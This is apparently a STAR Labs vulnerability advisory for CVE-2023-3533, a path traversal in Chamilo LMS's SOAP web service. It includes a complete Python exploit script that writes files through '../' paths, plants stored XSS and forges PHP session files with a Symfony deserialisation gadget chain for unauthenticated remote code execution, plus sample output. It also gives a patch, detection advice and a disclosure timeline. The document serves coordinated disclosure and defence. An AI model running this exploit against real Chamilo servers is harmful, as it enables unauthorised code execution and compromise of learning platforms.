Summary

Product Chamilo
Vendor Chamilo
Severity High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution.
Affected Versions <= v1.11.20
Tested Versions v1.11.20 (latest version as of writing)
CVE Identifier CVE-2023-3533
CVE Description Path traversal in file upload functionality in /main/webservices/additional_webservices.php in Chamilo LMS <= v1.11.20 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via arbitrary file write.
CWE Classification(s) CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
CAPEC Classification(s) CAPEC-139: Relative Path Traversal, CAPEC-76: Manipulating Web Input to File System Calls

CVSS3.1 Scoring System

Base Score: 9.8 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:N/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview

Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.

Vulnerability Summary

An overlooked relative path traversal vulnerability in main/webservices/additional_webservices.php allows for arbitrary file write, which may be exploited by an unauthenticated attacker to perform stored cross-site scripting attacks, as well as obtain remote code execution.

Note: This vulnerability is found in the same location as another vulnerability (CVE-2023-34960) exploited in the wild. As such, we strongly recommend Chamilo users to apply the latest security patches to mitigate this and 9 other high-severity vulnerabilities reported by STAR Labs.

Vulnerability Details

There is an arbitrary file write vulnerability in the same vulnerable function as CVE-2023-34960 and CVE-2023-3368.

The relevant vulnerable code from main/webservices/additional_webservices.phpis as follows:

function wsConvertPpt($pptData)
{
    $fileData = $pptData['file_data'];
    // Clean filename to avoid hacks. Prevents "&" and ";" to be used in filename, notably
    $sanitizedFileName = Security::sanitizeExecParam($pptData['file_name']); // [1]
    $dataInfo = pathinfo($sanitizedFileName);
    $fileName = basename($sanitizedFileName, '.'.$dataInfo['extension']); // [2]
    // Add additional cleaning of .php and .htaccess files
    $fullFileName = Security::filter_filename($sanitizedFileName); // [3]
    ...
    $tempArchivePath = api_get_path(SYS_ARCHIVE_PATH); // [4]
    $tempPath = $tempArchivePath.'wsConvert/'.$fileName.'/';  // [5]
    ...
    $file = base64_decode($fileData);
    file_put_contents($tempPath.$fullFileName, $file); // [6]
}

At [1], the user-supplied file_name in the SOAP request is sanitised using Security::sanitizeExecParam():

public static function sanitizeExecParam(string $param): string
{
    return preg_replace('/[`;&|]/', '', $param);
}

Notice that the sanitisation function does not remove dots (.) and forward slashes (/).

At [2], $fileName is simply the component following the final / found in user-supplied file_name in the SOAP request.

At [3], it can be seen that Security::filter_filename() is used to perform another round of sanitisation:

public static function filter_filename($filename)
{
    return disable_dangerous_file($filename);
}

The implementation of the disable_dangerous_file() function can be found in main/inc/lib/fileUpload.lib.php:

function php2phps($file_name)
{
    return preg_replace('/\.(phar.?|php.?|phtml.?)(\.){0,1}.*$/i', '.phps', $file_name);
}
...
function htaccess2txt($filename)
{
    return str_replace(['.htaccess', '.HTACCESS'], ['htaccess.txt', 'htaccess.txt'], $filename);
}
...
function disable_dangerous_file($filename)
{
    return htaccess2txt(php2phps($filename));
}

As seen above, the purpose of the disable_dangerous_file() function is to ensure that the file is not a .htaccess file or uses a recognised PHP extension (e.g. .php, .phar, etc.)

Therefore, the sanitisation rules applied at [1] and [3] respectively do not help to prevent path traversal attacks. Note that at this point, both $fileName and $fullFileName may contain relative path traversal payloads (i.e. ../).

Subsequently at [3], arbitrary file write can be achieved at [3].

Consequently, it is possible to achieve stored cross-site scripting (XSS) by placing a malicious HTML file in any of the writable and publicly-accessible directory within the web root as per Chamilo’s security hardening guide:

  • app/cache/
  • app/courses/
  • app/home/
  • app/logs/
  • app/upload/
  • main/default_course_document/images/

Most notably, an unauthenticated attacker can achieve remote code execution even if the web root is non-writable!
This can be achieved by forging a PHP session file containing a deserialisation gadget chain and loading any page (such as /index.php) which calls session_start() to trigger the remote code execution payload.

Exploit Conditions

An unauthenticated attacker is expected to be able to trigger the stored XSS reliably.

To achieve remote code execution, the unauthenticated attacker must know the path of the PHP sessions directory (e.g. /tmp/, /var/lib/php/session).

Proof-of-Concept

  1. Save the following proof-of-concept exploit script as unauth-file-write.py:
    #!/usr/bin/env python3
    import argparse
    import base64
    import random
    import string
    import subprocess
    import requests
    
    PHP_SERIALISED_PAYLOAD_GENERATOR = r'''
    /*
        Uses the modified ambionics/phpggc's Symfony/RCE11 gadget chain found at:
        https://github.com/ambionics/phpggc/pull/155/files
    */
    
    namespace Symfony\Component\Security\Core\Authentication\Token {
        class AnonymousToken implements \Serializable
        {
            public $parentData;
    
            public function __construct($parentData)
            {
                $this->parentData = $parentData;
            }
    
            public function serialize()
            {
                return serialize([null, $this->parentData]);
            }
    
            public function unserialize($serialized)
            {
            }
        }
    }
    
    namespace Symfony\Component\Validator {
        class ConstraintViolationList
        {
            private $violations;
    
            public function __construct($violations)
            {
                $this->violations = $violations;
            }
        }
    }
    
    namespace Symfony\Component\Finder\Iterator
    {
        class SortableIterator
        {
            private $iterator;
            private $sort;
    
            function __construct($iterator, $sort)
            {
                $this->iterator = $iterator;
                $this->sort = $sort;
            }
        }
    }
    
    /*
        Generate the session file contents
    */
    namespace {
        $args = array_slice($argv, 1);
        if (count($args) < 2) {
            $args = ["system", "id"];
        }
        $a = new \Symfony\Component\Validator\ConstraintViolationList($args);
        $b = new \Symfony\Component\Finder\Iterator\SortableIterator($a, "call_user_func");
        $c = new \Symfony\Component\Validator\ConstraintViolationList($b);
        $d = new \Symfony\Component\Security\Core\Authentication\Token\AnonymousToken($c);
    
        session_start();
        $_SESSION["_"] = $d;
        echo base64_encode(session_encode()), "\n";
    }
    '''.strip()
    
    SOAP_REQUEST_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{url}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string">{file_data}</value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{file_path}</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
    '''
    
    def xss(args):
        '''
        Based on Chamilo's security hardening guide at: https://11.chamilo.org/documentation/security.html#5.Files-permissions
        The following directories in web root must be writable by webserver:
        - app/cache/
        - app/courses/
        - app/home/
        - app/logs/
        - app/upload/
        - main/default_course_document/images/
        '''
    
        file_path = ''.join([
            '../../../../', # in default config, traverse up 4 times to reach web root 
            args.file
        ])
    
        file_data = base64.b64encode(args.payload.encode('latin-1')).decode('latin-1')
    
        data = SOAP_REQUEST_TEMPLATE.format(url=args.url, file_path=file_path, file_data=file_data)
    
        try:
            response = requests.post(f'{args.url}/main/webservices/additional_webservices.php', data=data, headers={'Content-Type': 'application/xml'})
            print(f'Writing to {args.file} in web root directory')
    
            if '../' in args.file:
                print('[!] Unable to verify arbitrary file write remotely if writing to outside of web root.')
                return False
    
            xss_url = f'{args.url}/{args.file.lstrip("/")}'
            response = requests.get(xss_url)
            print(f'Checking if writing of file to {args.file} can be found at: {xss_url}')
            return response.text == args.payload
        except:
            return False
    
    def rce(args):
        session_id_charset = string.ascii_letters + string.digits
        session_id = ''.join(random.choice(session_id_charset) for i in range(32))
    
        session_file_path = ''.join([
            '../../../../',                    # in default config, traverse up 4 times to reach web root 
            "../" * args.web_root.count("/"),  # traverse up to /
            args.session_directory.strip("/"), # go into directory containing session files
            f'/sess_{session_id}',              # session file name
        ])
    
        print(f'Overwriting session file at: {session_file_path}')
    
        proc = subprocess.Popen(['php', '-r', 'eval(file_get_contents("php://stdin"));'] + args.payload, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
        session_deserialisation_payload = proc.communicate(input=PHP_SERIALISED_PAYLOAD_GENERATOR.encode('latin-1'))[0].decode('latin-1').strip()
    
        data = SOAP_REQUEST_TEMPLATE.format(url=args.url, file_path=session_file_path, file_data=session_deserialisation_payload)
    
        try:
            response = requests.post(f'{args.url}/main/webservices/additional_webservices.php', data=data, headers={'Content-Type': 'application/xml'})
    
            print(f'Setting {args.sid}={session_id}')
            response = requests.get(f'{args.url}/', cookies={args.sid: session_id})
    
            print(f'Invoking {args.payload[0]}() with arguments: {", ".join(args.payload[1:])}')
            data = response.text.split('<!DOCTYPE html>', maxsplit=1)[0]
            print(f'Found data:\n{data}')
            return len(data) != 0
        except:
            return False
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument('-u', '--url', help='Url of your Chamilo', required=True)
        parser.add_argument('-r', '--web-root', help='Specify web root (default: /var/www/chamilo/)', type=str, default='/var/www/chamilo/')
    
        exploit_subparsers = parser.add_subparsers(title='exploit', dest='exploit', required=True)
    
        xss_subparser = exploit_subparsers.add_parser('xss', help='XSS in web root')
        xss_subparser.add_argument('-f', '--file', help='File to write to (relative to web root directory)', type=str, default='main/default_course_document/images/pwned.html')
        xss_subparser.add_argument('-p', '--payload', help='Contents of the file', type=str, default='<script>alert(document.domain)</script>')
    
        rce_subparser = exploit_subparsers.add_parser('rce', help='RCE via session file deserialisation')
        rce_subparser.add_argument('-sd', '--session-directory', help='Specify session directory (default: /tmp/)', type=str, default='/tmp/')
        rce_subparser.add_argument('-sid', '--sid', help='Specify session ID cookie name (default: ch_sid)', type=str, default='ch_sid')
        rce_subparser.add_argument('-p', '--payload', help='Space-delimited PHP function and arguments to execute (default: system id)', type=str, nargs='*', default=['system', 'id'])
    
        args = parser.parse_args()
    
        exploits = {
            'xss': xss,
            'rce': rce
        }
    
        exploit = exploits[args.exploit]
    
        if exploit(args):
            print(f'URL vulnerable: {args.url}')
        else:
            print(f'URL not vulnerable: {args.url}')
    
    if __name__ == '__main__':
        main()
    
  2. Run the exploit script using python3 unauth-file-write.py -u http://<chamilo> rce -p system id. For example, the following command invokes the id` shell command output on the target:
    $ python3 unauth-file-write.py -u http://<chamilo> rce -p system id
    
  3. The following output confirms the vulnerability when executing the proof-of-concept exploit script:
    Overwriting session file at: ../../../../../../../../tmp/sess_zerCeizyXIGHTRczlabXFaLozclTBSyE
    Setting ch_sid=zerCeizyXIGHTRczlabXFaLozclTBSyE
    Invoking system() with arguments: id
    Found data:
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ...
    URL vulnerable: http://<chamilo>
    

Suggested Mitigations

Ensure that the destination file path does not traverse out of the intended directory (i.e. SYS_ARCHIVE_PATH). A simple fix would be to stop processing the request if the substring .. is found in the user-supplied file_name.

For example:

function wsConvertPpt($pptData)
{
    global $_configuration;
    $ip = trim($_SERVER['REMOTE_ADDR']);
    // If an IP filter array is defined in configuration.php,
    // check if this IP is allowed
    if (!empty($_configuration['ppt2lp_ip_filter'])) {
        if (!in_array($ip, $_configuration['ppt2lp_ip_filter'])) {
            return false;
        }
    }
    $fileData = $pptData['file_data'];
+    if (strpos($pptData['file_name'], '..') !== false) {
+	    return false;
+    }
    ...

End users are encouraged to update to the latest version of Chamilo.

Detection Guidance

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /main/webservices/additional_webservices.php.

Credits

Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-07-13 Vendor Disclosure
  • 2023-07-14 Initial Vendor Contact
  • 2023-07-18 Vendor published the vulnerability sumamry
  • 2023-07-17 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
  • 2023-08-03 Vendor Patch Release (v1.11.22) completely fixing vulnerability
  • 2023-11-28 Public Disclosure